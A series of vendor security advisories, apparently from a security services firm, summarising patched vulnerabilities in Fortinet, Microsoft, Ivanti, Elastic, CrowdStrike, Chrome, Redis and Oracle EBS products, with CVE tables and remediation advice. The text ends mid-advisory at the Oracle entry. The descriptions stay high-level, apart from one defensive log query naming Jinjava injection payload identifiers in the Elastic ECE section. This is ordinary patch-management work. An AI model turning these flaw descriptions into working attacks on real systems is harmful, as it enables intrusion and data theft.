Security Advisory

Security Advisory

Fortinet Released Security Update’s; Patched Multiple High & Medium Severity Vulnerabilities

Summary: Fortinet disclosed multiple critical security vulnerabilities impacting several of its core products, including FortiPAM, FortiSwitch Manager and FortiOS platforms and patched them.

The vulnerabilities encompass issues such as improper privilege escalation, heap-based buffer overflow, weak authentication, improper certificate validation, denial-of-service risk, and race condition flaws in authentication modules.

One of the high severity issue is a weak authentication mechanism vulnerability (CVE-2025-49201) in FortiPAM & FortiSwitch Manager, and a heap overflow flaw (CVE-2025-57740) in the SSL VPN RDP bookmark functionality.

OEM Fortinet 
Severity High 
CVSS Score 7.8 
CVEs CVE-2025-49201, CVE-2025-58325, CVE-2025-57740, CVE-2025-57741 & others 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

These vulnerabilities pose significant risks to enterprise environments, potentially allowing attackers to bypass authentication controls or execute arbitrary code within targeted systems. Users & Administrators are urged to update to the patched version. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Weak Authentication Mechanism CVE-2025-49201 FortiPAM, FortiSwitch Manager  High FortiPAM 1.5.1, 1.4.3 or later / FortiSwitch Manager 7.2.5 or later 
CLI Command Functionality Bypass  CVE-2025-58325 FortiOS High FortiOS 7.6.1+, 7.4.6+, 7.2.11+, 7.0.16+ 
Heap Overflow – Remote Code Execution (FortiProxy SSL VPN Bookmarks) CVE-2025-57741 FortiProxy High FortiProxy 7.2.5+, 7.0.5+ 
Heap Overflow – Remote Code Execution (SSL VPN RDP Bookmark) CVE-2025-57740 FortiOS, FortiProxy, FortiPAM, FortiSwitch Manager. Medium FortiOS 7.4.4+ / 7.2.8+ / 7.0.15+, FortiProxy 7.4.4+ / 7.2.10+, FortiPAM 1.3.0+, FortiSwitch Manager 7.2.4+ 

Technical Summary 

Multiple critical and medium-severity vulnerabilities have been identified across several Fortinet products, including FortiOS, FortiPAM, FortiProxy, FortiAnalyzer, and FortiSwitchManager.

Other vulnerabilities could allow attackers to escalate privileges, execute unauthorized code, or bypass authentication, threatening system integrity and confidentiality.

Additional flaws may enable unauthenticated users to disrupt services, intercept network traffic, or exploit race conditions to gain improper access within centralized management and authentication platforms. As the Fortinet released the security updates, quick deploy of the patches to ensure resilience against exploitation and to protect enterprise assets. 

CVE ID Component Affected  Vulnerability Details Impact 
 CVE-2025-49201 FortiPAM, FortiSwitch Manager This flaw enables remote attackers to bypass authentication by sending specially crafted HTTP requests, allowing unauthorized code or command execution within privileged access management and switch management interfaces.  Authentication Bypass / Remote Code Execution 
 CVE-2025-57740 FortiOS, FortiProxy, FortiPAM, FortiSwitch Manager This heap-based buffer overflow in the SSL VPN RDP bookmark feature can be triggered by authenticated users through crafted bookmark data, resulting in memory corruption and possible code execution in the VPN context. Remote Code Execution / System Compromise 
CVE-2025-58325 FortiOS A CLI command functionality bypass allows attackers to execute restricted administrative commands through improper input validation, potentially escalating privileges or modifying critical system parameters. Privilege Escalation / Remote Code Execution 
CVE-2025-57741 FortiProxy This heap overflow vulnerability in FortiProxy’s SSL VPN RDP bookmarks can result in memory corruption, giving attackers a pathway to execute arbitrary code remotely during VPN session initialization. Remote Code Execution / Service Compromise 

Additionally, multiple vulnerabilities have been disclosed that enable remote authentication bypass and include other issues with significant impact potential. 

Vulnerability Name CVE ID Affected Component Severity 
 FGFM protocol allows unauthenticated reset of the connection CVE-2025-26008 FortiOS, FortiProxy, FortiPAM, FortiSwitchManager. Medium 
Heap Overflow in fgfmsd CVE-2025-50571 FortiAnalyzer/Cloud, FortiManager/Cloud. Medium 
Heap buffer overflow in websocket CVE-2025-22258 FortiOS,FortiPAM, FortiProxy, FortiSRA Medium 
Improper autorization over static files CVE-2025-54822 FortiOS, FortiProxy Medium 
Insufficient Session Expiration in SSLVPN using SAML authentication CVE-2025-25252 FortiOS Medium 
Missing authentication check in OFTP service CVE-2025-53845 FortiAnalyzer Medium 
Race condion in FortiCloud SSO SAML authentication CVE-2025-54973 FortiAnalyzer Medium 
Stack-based buffer overflow on fortitoken import feature CVE-2025-46718 FortiOS, FortiProxy Medium 

Recommendations 

Update Fortinet products to the following fixed versions as soon as possible and check the updated version from the Fortinet website 

  • FortiPAM: Upgrade to version 1.5.1 or later, or 1.4.3 or latest version 
  • FortiSwitch Manager: Upgrade to version 7.2.5 or higher 
  • FortiOS: Upgrade to versions 7.6.6+, 7.4.9+, 7.2.11+,7.0.16+ depending on the release series 
  • FortiProxy: Upgrade to 7.6.3+, 7.4.9+ and latest version 
  • FortiAnalyzer: Upgrade to 7.6.3+, 7.4.7+, 7.2.11+, 7.0.14+ latest version 

Patches are available and should be applied immediately. For environments where immediate patching is not immediately feasible, you can also follow the below recommendations : 

  • Enable multi-factor authentication (MFA) to reduce unauthorized access risk 
  • Restrict network access to management interfaces to trusted personnel only 
  • Monitor logs for unusual brute-force attempts or anomalous login activity 
  • Apply the principle of least privilege to limit access to VPN and management services 
  • Use firewalls with strict whitelisting to block external attack vectors to vulnerable services 

Conclusion: 
The recent Fortinet advisories underscore the critical importance of timely vulnerability management, particularly for products controlling privileged access and remote connectivity.

The flaws in authentication and memory management can jeopardize the security posture of enterprise environments.

Organizations should urgently apply patches, monitor for suspicious login and session activity, and implement proactive security measures to reduce exploitation risks. Proactive response and regular updates are essential to maintaining robust security against evolving threats targeting critical infrastructure. 

References: 

Hashtags 

#Infosec #CyberSecurity #Fortinet #FortiPAM #SQL #RCE #SecurityAdvisory #Vulnerabilitymanagement # PatchManagement #CISO #CXO #Intrucept  

Security Advisory

Microsoft October Patch Fixes 175 Vulnerabilities, 6 Zero-Days & Critical Exploits 

Summary:  Microsoft’s October 2025 Patch Tuesday fixes 175 security vulnerabilities in the products Windows, Office, Azure, and .NET and others. It includes patches for 6 – zero-day vulnerabilities where three vulnerabilities have been exploited and three publicly known vulnerabilities.  

Microsoft advises immediate deployment of updates and removal of affected drivers, while assessing legacy fax hardware for compatibility issues introduced by the driver removal in this month update.

The October 2025 security updates address critical and important vulnerabilities across a broad range of Microsoft products and services. 

OEM Microsoft 
Severity Critical 
Date of Announcement 2025-10-14 
No. of Patches 175 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 

Major fixes address serious remote code execution issues in Office and WSUS, along with privilege escalation vulnerabilities in Windows and Azure. The update also removes the Agere Modem driver, which could affect older fax devices. Users & Administrator are urged to update the patch to immediately to stay protected. 

Here are the CVE addresses for Microsoft & non-Microsoft:  

  • 175 Microsoft CVEs addressed 
  • 21 non-Microsoft CVEs addressed (Republished) 

Breakdown of October 2025 Vulnerabilities 

  • 80 Elevation of Privilege (EoP) 
  • 31 Remote Code Execution (RCE) 
  • 28 Information Disclosure 
  • 11 Denial of Service (DoS) 
  • 11 Security Feature Bypass 
  • 12 Spoofing  
  • 2 Tampering 

Source: Microsoft 

Vulnerability Name CVE ID Product Affected Severity CVSS Score 
Windows Agere Modem Driver Elevation of Privilege Vulnerability CVE-2025-24990 Windows 10, 11, Server 2016-2022 High 7.8 
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability CVE-2025-59230 Windows 10, 11, Server 2016-2022 High 7.8 
Secure Boot Bypass Vulnerability in IGEL OS CVE-2025-47827 IGEL OS Medium 4.6 
Windows Server Update Service (WSUS) Remote Code Execution Vulnerability CVE-2025-59287 Windows Server Critical 9.8 
Microsoft Office Remote Code Execution Vulnerability CVE-2025-59234 Microsoft Office High 7.8 
Microsoft Excel Remote Code Execution Vulnerability CVE-2025-59236 Microsoft Excel (2016-2021) High 8.4 

Technical Summary 

October 2025 Patch Tuesday includes security updates addresses remote code execution, privilege escalation and information disclosure vulnerabilities in core Windows components, Office applications and Azure cloud services.

3 zero-days are actively exploited, including CVE-2025-24990 in the Agere Modem driver, where attackers can abuse the third-party component to gain administrative privileges without needing the modem hardware active, leading to local system compromise.  

Additionally, exposes improper access controls in Windows Remote Access Connection Manager, enabling authorized attackers to escalate to SYSTEM privileges with moderate effort.  

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-24990 Windows Agere Modem Driver Third-party driver abused for admin privileges; removed in updates, may break fax modem hardware Privilege Escalation 
CVE-2025-59230 Windows Remote Access Connection Manager Improper access control allows local attackers to gain SYSTEM privileges Privilege Escalation 
CVE-2025-47827 IGEL OS < v11 Improper cryptographic signature verification enables Secure Boot bypass via crafted root filesystem Security Feature Bypass 
CVE-2025-59287 Windows Server Update Service Deserialization of untrusted data allows unauthenticated RCE over networks, prime for supply-chain attacks Remote Code Execution 
CVE-2025-59234 Microsoft Office (2016-2021) Use-after-free in Office allows RCE via malicious files, no authentication required Remote Code Execution 
CVE-2025-59236 Microsoft Excel (2016-2021) Use-after-free in Excel enables RCE via malicious files, potentially leading to system control Remote Code Execution 

Source: Microsoft 

In addition to several other publicly exploited Zero-Day & Critical severity issues were addressed 

  • CVE-2025-0033: AMD SEV-SNP Flaw – Race condition in AMD EPYC processors allows hypervisor to tamper with guest memory; needs privileged access. (Critical) 
  • CVE-2025-24052: Windows Agere Modem EoP – Flaw in modem driver enables local admin privilege escalation; driver removed, may affect fax hardware. (High) 
  • CVE-2025-2884: TCG TPM 2.0 Vulnerability – Out-of-bounds read in TPM cause info disclosure or DoS, impacting secure boot. (Medium) 
  • CVE‑2025‑49708: Microsoft Graphics Component EoP – Memory corruption enables network-based privilege escalation.  (Critical) 
  • CVE-2025-59227: Microsoft Office RCE – Use-after-free affecting multiple Office versions. (Critical) 
  • CVE-2016-9535: LibTIFF Heap Buffer Overflow – RCE via malformed TIFF files in image processing. (Critical) 
  • CVE-2025-59291 & CVE-2025-59292: Azure Container Instances/Compute Gallery EoP – External file path control for local privilege escalation. (Critical) 

Key Affected Products and Services 

  • Windows Core and Security Components 

Updates for Windows Kernel, NTFS, BitLocker, NTLM, SMB, WinSock, PrintWorkflowUserSvc and Remote Desktop Services, with several vulnerabilities rated CVSS 7.8 or higher. 

  • Microsoft Office Suite 

Patches for Excel, Word, PowerPoint, Visio, and SharePoint addressing RCE and information disclosure issues, particularly via malicious file execution. 

  • Azure and Cloud Services 

Fixes for Azure Entra ID, Monitor Agent, Connected Machine Agent, PlayFab and Confidential Container Instances. 

  • Virtualization and Hyper-V 

Vulnerabilities in Hyper-V and Virtual Secure Mode, including privilege escalation and DoS risks. 

  • Developer and Management Tools 

Updates for PowerShell, Visual Studio and Configuration Manager addressing local privilege escalation. 

  • Communication & File Services 

Patches for SMB, WSUS, and Connected Devices Platform with critical RCE and lateral movement risks. 

  • Browsers and Web Technologies 

Microsoft Edge (Chromium-based) updates, including republished Chrome CVEs. 

Remediation: 

  • Install the October 2025 security updates immediately to mitigate risks. 

Here are some recommendations below  

  • Use EDR tools to monitor any indicators like Office crashes or logs. 
  • Disable unused services to prevent any remote access or other exploitation. 
  • Apply least privilege access in Office and Azure environments. 
  • Segment networks to reduce any lateral movement. 

Conclusion: 
Critical RCE flaws in Office and WSUS, along with privilege escalation bugs, pose significant risks for ransomware, data theft and lateral movement. Administrator, users & security teams should deploy patches immediately, enhance monitoring and apply mitigations to reduce exposure. 

References: 

Security Advisory

Ivanti Endpoint Manager Vulnerabilities Expose Systems to RCE, SQL & Privilege Escalation Risks 

Summary : Security Advisory: Ivanti has publicly disclosed 13 vulnerabilities affecting its Endpoint Manager (EPM) 2024 and earlier releases. It includes 2 high-severity issues, 1 enabling remote code execution (RCE) and the other supporting privilege escalation alongside 11 medium-severity SQL injection flaws. Successful exploitation could lead to privilege escalation or remote code execution. 

OEM Ivanti 
Severity High 
CVSS Score 8.8 
CVEs CVE-2025-11622, CVE-2025-9713 & CVEs for SQL 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

These vulnerabilities are considered critical for enterprise environments, as they could permit attackers to gain unauthorized access, execute arbitrary code, or extract sensitive database information from vulnerable endpoints.

Administrators are urged to update to the latest version to mitigate the attack and prevent potential exploitation. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Insecure Deserialization  CVE-2025-11622 Ivanti Endpoint Manager 2024 SU3 SR1 and prior  High 2024 SU4   
Path Traversal – Remote Code Execution  CVE-2025-9713 Ivanti Endpoint Manager 2024 SU3 SR1 and prior High 

Technical Summary 

2 severe vulnerabilities in Ivanti Endpoint Manager significantly increase the risk to affected systems. One of the issues involves insecure deserialization, which may allow a local authenticated attacker to elevate their privileges and gain unauthorized access to sensitive functions or data.

Another notable vulnerability is a path traversal flaw that can lead to remote code execution when triggered by a remote unauthenticated attacker, provided certain user interaction occurs. In addition to these, multiple instances of SQL injection have been identified across various components of the application. These flaws could be exploited by remote authenticated users to retrieve unauthorized information from the backend database, potentially exposing sensitive data. 

These vulnerabilities underscores the importance of implementing secure coding practices, validating user input, and applying timely security patches to minimize risk and protect system assets. 

CVE ID Component Affected  Vulnerability Details Impact 
 CVE-2025-11622 Ivanti Endpoint Manager  This flaw allows a local authenticated attacker to escalate privileges on the EPM Core server by exploiting deserialization routines.  Privilege Escalation / Remote Code Execution 
 CVE-2025-9713 Ivanti Endpoint Manager  This enables remote unauthenticated attackers to achieve remote code execution, with user interaction required to trigger malicious file import or configuration actions. Remote Code Execution / System Compromise 

In addition, releasing eleven CVEs for SQL injection vulnerabilities that permit remote authenticated attackers to access and read arbitrary data from the database.  

Vulnerability Name CVE ID Affected Component Severity 
SQL Injection Flaws CVE-2025-1162 
CVE-2025-62383 
CVE-2025-62384 
CVE-2025-62385 
CVE-2025-62386 
CVE-2025-62387 
CVE-2025-62388 
CVE-2025-62389 
CVE-2025-62390 
CVE-2025-62391 
CVE-2025-62392 		Ivanti Endpoint Manager  Medium 

Recommendations 

Update Ivanti Endpoint Manager to the following versions when available: 

  • 2024 SU4 for high-severity vulnerabilities (targeted release November 12, 2025) 
  • 2024 SU5 for SQL injection vulnerabilities (scheduled Q1 2026) 

Patches are currently under development, here are some mitigations below to protect the environment  

  • Use Ivanti EPM 2024 SU3 SR1 to reduce the risk associated with the insecure deserialization vulnerability.  
  • Limit access to the EPM Core server to local administrators only. 
  • Use a firewall with a strict whitelisting configuration to block remote access. 
  • Avoid importing untrusted configuration files into the EPM Core server. 
  • Remove the reporting database user from the EPM configuration to mitigate the SQL injection vulnerabilities. But this action will disable reporting functionality, as the reporting database user is required to run reports. 

Conclusion: 
These vulnerabilities pose a significant threat to organizations relying on Ivanti Endpoint Manager for enterprise device management, potentially enabling privilege escalation, remote code execution, and unauthorized data access. Enterprises are strongly urged to implement Ivanti’s recommended mitigations without delay to reduce immediate risk. Additionally, organizations should prepare for the timely deployment of the upcoming security updates as they become available. Proactive action is essential to maintaining the security and integrity of endpoint management infrastructure. 

References: 

Security Advisory

Elastic Patched Critical Jinjava Template Injection in Elastic Cloud Enterprise(ECE) 

Summary : Security Advisory: Elastic disclosed vulnerability in Elastic Cloud Enterprise (ECE) that allows attackers with admin access to steal sensitive data or execute any commands through Jinjava template injection. This flaw impacts ECE versions from 2.5.0 up to and including 3.8.1, as well as versions 4.0.0 through 4.0.1.

OEM Elastic Cloud Enterprise (ECE) 
Severity Critical 
CVSS Score 9.1 
CVEs CVE-2025-37729 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview  

The vulnerability with CVE-2025-37729, affects multiple ECE versions starting from 2.5.0 up to and including 3.8.1, and versions starting from 4.0.0 up to and including 4.0.1. Users & Administrators are strongly advised to upgrade to the latest version of ECE immediately to stay protected. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​Improper Neutralization of Special Elements Vulnerability  CVE-2025-37729 Elastic Cloud Enterprise  Critical v3.8.2 &  
v4.0.2 

Technical Summary 

Improper neutralization of special elements can be used to issuing commands via a specially crafted string where Jinjava variables are evaluated.

Malicious actors are exploiting due to an improper neutralization of special characters vulnerability in the Jinjava template engine used by ECE.

Attackers with admin-level access to the ECE admin console and deployments with the Logging+Metrics feature enabled can inject malicious Jinjava expressions through specially crafted payloads. This vulnerability can allow them to exfiltrate sensitive data or execute arbitrary command on the system.  

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025- 37729 Elastic Cloud Enterprise (ECE) v2.5.0-3.8.1, v4.0.0-v4.0.1 Improper sanitization of user-supplied input in Jinjava templates allows admin users to inject malicious expressions, enabling code execution and data exfiltration Sensitive Data Leakage, Arbitrary Command Execution, Potential Full System Compromise 

Recommendations: 

Upgrade the Elastic Cloud Enterprise versions to v3.8.2 and v4.0.2 or the latest one. 

Here are some recommendations below 

  • Keep admin access restricted to trusted accounts only for the ECE admin console. 
  • You can monitor the request logs for malicious payloads using the query “payload.name : int3rpr3t3r or payload.name : forPath”. Implement strict access controls and regularly audit admin privileges. 

Conclusion: 
This is critical vulnerability in Elastic Cloud Enterprise that could allow attackers to data exfiltration and arbitrary command execution.

Although exploitation needs administrative access, but its high impact makes it a major security risk & needs immediate action. Upgrading to the fixed version and applying recommended actions are strongly advised by the organizations to stay secure. 

References: 

 

Security Advisory

CrowdStrike Releases Security Updates for Falcon Sensor Windows Vulnerabilities 

Summary :  CrowdStrike recently disclosed and released patches for two medium-severity vulnerabilities affecting its Falcon sensor for Windows systems, identified as CVE-2025-42701 and CVE-2025-42706. These vulnerabilities allow attackers who already have code execution privileges on a targeted Windows host to delete arbitrary files, potentially destabilizing the Falcon sensor, other installed software, or even the operating system itself.

OEM CrowdStrike 
Severity Medium 
CVSS Score 6.5 
CVEs CVE-2025-42701, CVE-2025-42706 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

Notably, Falcon sensors for macOS and Linux are not affected, Users & Administrator using falcon sensor for windows update to the latest version. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Time-of-check Time-of-use (TOCTOU) Race Condition Vulnerability  CVE-2025-42701 CrowdStrike Falcon Sensor for Windows  Medium 7.28.20008 and later 7.27.19909 7.26.19813 7.25.19707 7.24.19608 7.16.18637 (WIN7/2008 R2 only) 
Origin Validation Logic Error Vulnerability  CVE-2025-42706 CrowdStrike Falcon Sensor for Windows Medium 

Technical Summary 

The Falcon Sensor for Windows was found to contain security flaws that could permit a locally authenticated attacker with existing code execution privileges to delete arbitrary files on the affected system.

Race condition vulnerability caused by improper synchronization in the software’s operation timing, while the other vulnerability results from a logical error affecting file handling processes.

These issues could lead to significant disruption of security functions or system stability. Prompt remediation has been issued by CrowdStrike and there is currently no evidence of exploitation in active environments.  

CVE ID Platform Affected  Vulnerability Details Impact 
 CVE-2025-42701 CrowdStrike Falcon Sensor for latest Windows, Windows 7, Windows Server 2008 Time-of-check Time-of-use (TOCTOU) race condition due to a timing gap in handling file operations, which allows an attacker with prior local code execution to delete arbitrary files on the host system. Sensor disruption and file deletion. 
 CVE-2025-42706 CrowdStrike Falcon Sensor for latest Windows, Windows 7, Windows Server 2008 A logic error related to origin validation in the Falcon sensor’s file handling, enabling an attacker with existing code execution abilities to delete arbitrary files. Sensor disruption and file deletion. 

Recommendations 

Update CrowdStrike Falcon Sensor for Windows to the following patched versions or latest one  

  • 7.28.20008, 7.27.19909, 7.26.19813, 7.25.19707, 7.24.19608,  
  • 7.16.18637 (for Windows 7/2008 R2 only) 

Implement the following best practices to enhance overall security posture 

  • Regularly monitor and apply security updates and patches promptly to all endpoint protection software. 
  • Enforce the principle of least privilege by restricting user permissions and execution rights to minimize the risk from locally executed code. 
  • Enable logging and continuous monitoring within the Falcon platform to detect any suspicious activities related to file deletions or sensor tampering. 

Conclusion: 
CrowdStrike identified and promptly addressed two vulnerabilities in widely used falcon endpoint protection sensor for Windows. These issues, if left unpatched, could allow an attacker with existing local access to disrupt system stability by deleting critical files.

There is no active exploitation has been detected & CrowdStrike already released the patches. Users are strongly encouraged to apply the latest patches and follow best security practices to maintain system integrity and resilience against potential threats. 

References: 

  

Security Advisory

Elastic Releases Critical Security Updates for Kibana & Elasticsearch 

Security Advisory:

Elastic has released security updates for Kibana and Elasticsearch.

Addressed 5 vulnerabilities, including 3 high-severity Cross-Site Scripting (XSS) issues

This also include one sensitive data exposure flaw, and one credential leakage issue

OEM Elastic 
Severity High 
CVSS Score 8.7 
CVEs CVE-2025-25009, CVE-2025-25017, CVE-2025-25018, CVE-2025-37727, CVE-2025-37728 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

The most severe, CVE-2025-25009 (CVSS 8.7), affects Kibana’s case file upload functionality, potentially allowing attackers to execute arbitrary scripts. These vulnerabilities could allow data theft, session hijacking or privilege escalation in affected environments. Users & Administrators strongly advise to update to the patched versions immediately to mitigate risks. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​Stored XSS Vulnerability via Case File Upload Vulnerability CVE-2025-25009 Kibana  High  v8.18.8, v8.19.5, v9.0.8, v9.1.5 
Kibana Cross Site Scripting (XSS) Vulnerability CVE-2025-25017 Kibana High 
Kibana Stored Cross Site Scripting (XSS) Vulnerability CVE-2025-25018 Kibana High 

Technical Summary 

Elastic’s latest security patches fix several vulnerabilities in Kibana and Elasticsearch. These vulnerabilities could let attackers inject malicious code or gain access to sensitive information.

This could result in stolen data, taken-over user sessions, or even gaining higher access levels in the system. Although no active exploits have been reported, users are strongly advised to update immediately for protection to ensure optimal security and stability . 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-25009 Kibana (7.x ≤ 7.17.29, 7.x ≤ 7.17.29, 8.x ≤ 8.18.7, 8.19.x ≤ 8.19.4, 9.0.x ≤ 9.0.7, 9.1.x ≤ 9.1.4) Stored XSS via malicious file uploads in case management, allowing JavaScript injection Data Theft,  Session Hijacking,  Privilege Escalation 
CVE-2025-25017 Kibana (7.x ≤ 7.17.29, 7.x ≤ 7.17.29, 8.x ≤ 8.18.7, 8.19.x ≤ 8.19.3, 9.0.x ≤ 9.0.6, 9.1.x ≤ 9.1.3) XSS in Vega visualization engine due to improper neutralization of inputs, enabling script execution Malicious Script Execution 
CVE-2025-25018 Kibana (7.x ≤ 7.17.29, 7.x ≤ 7.17.29, 8.x ≤ 8.18.7, 8.19.x ≤ 8.19.4, 9.0.x ≤ 9.0.7, 9.1.x ≤ 9.1.4) Stored XSS in Kibana due to improper validation of specified type of input.  Session Compromise, Unauthorized Access 

Other Vulnerabilities 

In addition to the three high-severity flaws, Elastic patched 2 other vulnerabilities in the same Security Announcements release. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​Sensitive Data Exposure in Audit Logging CVE-2025- 37727 Elasticsearch Medium v8.18.8, v8.19.5, v9.0.8, v9.1.5 
Credential Leakage in CrowdStrike Connector CVE-2025- 37728 Kibana (CrowdStrike Connector) Medium v8.18.8 and higher 

Recommendations: 

Update Kibana and Elasticsearch immediately to the following versions 

  • Kibana/Elasticsearch: v8.18.8, v8.19.5, v9.0.8, v9.1.5 or the latest version. 

If unable to update immediately you can follow some workarounds below 

  • For the CVE-2025-25009, For versions >= 7.12 to < 9.0 users can set “discover:searchFieldsFromSource: true” in Advanced Settings and there are no workarounds for 9.0+. 
  • For the CVE-2025-25017, users can disable Vega visualizations but note that this will disable all Vega charts in Kibana. 
  • For the CVE-2025-37727, users can set “xpack.security.audit.logfile.events.emit_request_body” to “false”. 

Conclusion: 
The Elastic security update addresses severe vulnerabilities in Kibana and Elasticsearch, including high-severity XSS issues that could enable attackers to compromise dashboards, steal data, or escalate privileges.

Although no exploitation has been reported but these vulnerabilities need immediate patching. Immediate action is essential to maintain system integrity and protect sensitive data in monitoring and logging environments. 

References: 

Security Advisory

Google Chrome Patched High-Severity Memory Vulnerabilities  

Summary : Security Advisory: Google recently rolled out an update for Chrome to address two high & and one medium severity vulnerabilities.

OEM Google 
Severity High 
CVSS Score 8.0 
CVEs CVE-2025-11458, CVE-2025-11460, CVE-2025-11211 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

A heap buffer overflow in the Sync component and a use-after-free (UAF) vulnerability in the Storage component have been fixed, along with other security issues.

Users and administrators are advised to apply the latest patch as soon as possible to ensure their systems remain secure. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Heap Buffer Overflow in Sync  CVE-2025-11458 Chrome (Windows, Mac, Linux)  High 141.0.7390.65/66 
Use-After-Free in Storage  CVE-2025-11460 Chrome (Windows, Mac, Linux) High 141.0.7390.65/66 
Out-of-Bounds Read in WebCodecs CVE-2025-11211 Chrome (Windows, Mac, Linux) Medium 141.0.7390.65/66 

Technical Summary 

Google released an update for the Chrome Stable channel, addresses three significant security vulnerabilities related to memory safety. The update addresses multiple critical memory-related vulnerabilities within Chrome’s core components.

These include a flaw that could allow attackers to corrupt memory during browser data synchronization, potentially enabling arbitrary code execution, and another vulnerability in the storage system that involves improper memory handling after an object is freed, which could also lead to exploitation through crafted web content.

Additionally, a medium-severity issue was fixed in the media processing API that could cause exposure of sensitive memory or impact browser stability when handling certain media files. These fixes are part of ongoing efforts to improve browser security by mitigating risks of remote code execution, data exposure, and crashes. 

CVE ID Component Affected  Vulnerability Details Impact 
 CVE-2025-11458 Chrome Sync component Heap buffer overflow in the Sync component could allow memory corruption and potentially enable arbitrary code execution when handling synchronization data.  Remote Code Execution / Data Leakage 
 CVE-2025-11460 Chrome Storage component Use-after-free in the Storage component could allow attackers to access freed memory, potentially leading to code execution or information disclosure. Remote Code Execution / Browser Instability 
CVE-2025-11211 Chrome WebCodecs API Out-of-bounds read in the WebCodecs API could expose memory contents or crash the browser when processing malformed media inputs. Memory Disclosure / Browser Crash 

Recommendations 

Update Chrome immediately to the following versions: 

  • Windows/Mac: Chrome v141.0.7390.65/66 
  • Linux: Chrome v141.0.7390.65 

Here are bellow recommended actions 

  • Manual Update Check: Navigate to Settings → Help → About Google Chrome to force update. 
  • Enterprise Patch Management: Enforce Chrome auto-updates across managed systems. 
  • Threat Monitoring: Actively monitor browser crash reports, endpoint security alerts, and system/network logs for suspicious behavior. 

Conclusion: 
This update reflects Chrome’s continued commitment to robust browser security by addressing multiple critical memory vulnerabilities that could otherwise be exploited for remote code execution, data exposure, or browser instability.

Promptly applying updates is essential to reduce potential attack surfaces, maintain browser stability, and safeguard user data against emerging threats. 

References: 

Security Advisory

Critical Lua Sandbox Escape Flaw in Redis Allows Remote Code Execution (RCE)

Summary: Security Advisory: A critical vulnerability has been found in the Lua scripting engine of Redis, enabled by default in all versions, allows authenticated attackers to break out of the Lua sandbox and perform remote code execution (RCE) to gain full control of the affected system.

OEMRedis
SeverityCritical
CVSS Score10.0
CVEsCVE-2025-49844
POC AvailableYes
Actively ExploitedNo
Exploited in WildNo
Advisory Version1.0

Overview

Since Redis is used in most cloud environments the impact is highly critical. Redis team has released the patches and urged for immediate updates recommended to secure systems.

Vulnerability NameCVE IDProduct AffectedSeverityFixed Version
Lua Use-After-Free RCE Vulnerability  CVE-2025-49844All Redis Software & OSS/CE/Stack versions with Lua scripting  CriticalRedis Software: 7.22.2-12+, 7.8.6-207+, 7.4.6-272+, 7.2.4-138+, 6.4.2-131+ Redis OSS/CE: 8.2.2+, 8.0.4+, 7.4.6+, 7.2.11+ Redis Stack: 7.4.0-v7+, 7.2.0-v19+

Technical Summary

The vulnerability comes from a use-after-free (UAF) bug in Redis’s Lua scripting system, caused by improper checks during memory cleanup. Authenticated attackers can send malicious Lua scripts via EVAL or EVALSHA commands to manipulate memory, bypass the sandbox, and run arbitrary code. Even internal servers are at risk if attackers gain network access, making this flaw highly critical for both exposed and internal environments.

CVE IDSystem AffectedVulnerability DetailsImpact
CVE-2025-49844All Redis Software & OSS/CE/Stack below the fixed versionA user after free in the Lua garbage collector allows memory corruption via crafted scripts, enabling sandbox escape and RCERemote Code Execution

Recommendations

Upgrade to the below  fixed versions immediately.

  • Redis Software: 7.22.2-12+, 7.8.6-207+, 7.4.6-272+, 7.2.4-138+, 6.4.2-131+
  • Redis OSS/CE: 8.2.2+, 8.0.4+, 7.4.6+, 7.2.11+
  • Redis Stack: 7.4.0-v7+, 7.2.0-v19+

Here are some best practices

  • Enable Strong Authentication: Configure strong passwords on all the instances, ensure protected-mode is enabled (in CE and OSS) to prevent accidental exposure.
  • Network Controls: Restrict access to authorized IPs using firewalls or VPCs, limit access to trusted sources and prevent unauthorized connectivity.
  • Limit permissions: To enhance security, user needs to give minimum necessary permissions.
  • Monitoring: Check the logs to see if there are any suspicious activities.
  • Incident Response: If compromised, isolate systems, rotate credentials, and scan for malware.

Conclusion:
This is a critical vulnerability with a CVSS score of 10.0, affecting all Redis versions with Lua scripting. The widespread Redis usage, default insecure configurations makes this a critical threat. Immediate patching and hardening are essential to prevent full system compromise, data breaches, and further attacks.

References:

Security Advisory

Critical Oracle EBS 0-Day Hit by Clop Ransomware; Oracle Released Emergency Patch 

Summary : Security Advisory: Clop Ransomware aimed at extortion of emails targeting customers of Oracle E-Business Suite. The zero-day vulnerability affected Oracle EBusiness Suite (EBS), specifically the Concurrent Processing component used with BI Publisher Integration and is remotely exploitable without authentication. This allows attackers to execute arbitrary code via HTTP.

OEM Oracle 
Severity Critical 
CVSS Score 9.8 
CVEs CVE-2025-61882 
POC Available Yes 
Actively Exploited Yes 
Advisory Version 1.0 

Overview 

Oracle released an emergency patch and Clop ransomware group actively exploited this flaw in real-world data theft campaigns targeting vulnerable versions using by the organizations.

All EBS versions from 12.2.3 to 12.2.14 are affected and immediate patching requires mitigate the vulnerability. 

                Vulnerability Name CVE ID Product Affected Severity Affected Version 
RCE vulnerability in Oracle E-Business Suite  CVE-2025-61882 Oracle E-Business Suite  Critical 12.2.3 through 12.2.14 

Technical Summary 

